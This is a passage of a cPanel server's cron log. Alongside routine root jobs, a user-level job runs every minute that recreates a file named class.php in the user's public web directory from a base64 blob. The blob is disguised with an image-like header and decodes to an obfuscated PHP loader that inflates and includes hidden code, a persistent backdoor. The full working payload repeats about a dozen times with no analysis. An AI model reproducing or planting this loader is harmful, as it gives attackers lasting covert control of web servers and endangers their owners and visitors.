&quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:20:01 server CROND[21243]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 21:20:01 server CROND[21242]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 21:20:01 server CROND[21247]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 21:20:01 server CROND[21248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:20:01 server CROND[21249]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:21:01 server CROND[21574]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:22:01 server CROND[21852]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:23:01 server CROND[22213]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:24:01 server CROND[22481]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:25:01 server CROND[22760]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:25:01 server CROND[22761]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 21:25:01 server CROND[22762]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:26:01 server CROND[23102]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:27:01 server CROND[23371]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:27:01 server CROND[23372]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 15 21:28:01 server CROND[23633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:29:01 server CROND[23996]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:30:01 server CROND[24285]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 21:30:01 server CROND[24286]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 21:30:01 server CROND[24290]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 21:30:01 server CROND[24291]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 21:31:01 server CROND[24602]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
